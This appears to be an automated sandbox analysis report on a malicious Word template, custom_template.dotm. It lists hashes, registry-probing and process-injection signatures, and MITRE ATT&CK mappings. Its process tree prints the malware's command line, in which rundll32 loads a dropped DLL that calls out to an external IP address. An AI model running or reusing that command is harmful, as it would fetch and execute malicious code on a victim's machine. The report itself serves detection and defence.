5766758c51c678d7f26a68947be2352ee091773239c4ffbbd62ed72cfbd8afdf

General

Target
custom_template.dotm
Size 66KB
Sample200714-d6s6v79cqa
SHA256 5766758c51c678d7f26a68947be2352ee091773239c4ffbbd62ed72cfbd8afdf
MD5 0a222cc47b33e66646781732d40009a8
SHA1 df6619f7ace034bd7109e4fddb48a71282152d1e
SHA512 0e6a51083ac8ea8a51c9f87cd9e559d9deaffc1f1358678b0e9b83997615b7ee12ae856ccb006fca48250ebeacc545b25bd838891fc31da275194ec0497fad80
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Signatures

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1624	WINWORD.EXE
1624	WINWORD.EXE
1624	WINWORD.EXE
1624	WINWORD.EXE
1624	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1624	WINWORD.EXE
1624	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3044	1624	rundll32.exe	67

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1624 wrote to memory of 3044	1624	WINWORD.EXE	70
PID 1624 wrote to memory of 3044	1624	WINWORD.EXE	70
PID 3044 wrote to memory of 3972	3044	rundll32.exe	71
PID 3044 wrote to memory of 3972	3044	rundll32.exe	71
PID 3044 wrote to memory of 3972	3044	rundll32.exe	71

Loads dropped DLL 1 IoCs

pid	Process
3972	rundll32.exe

Blacklisted process makes network request 1 IoCs

flow	pid	Process
19	3972	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\custom_template.dotm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
PID:1624
- C:\Windows\System32\rundll32.exe
  C:\Windows\System32\rundll32.exe "C:\Users\Admin\AppData\Local\Temp\profile.dat",MyExport 31.44.88.177/index.htm
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3044
- - C:\Windows\SysWOW64\rundll32.exe
    C:\Windows\System32\rundll32.exe "C:\Users\Admin\AppData\Local\Temp\profile.dat",MyExport 31.44.88.177/index.htm
    3⤵
    - Loads dropped DLL
    - Blacklisted process makes network request
    PID:3972

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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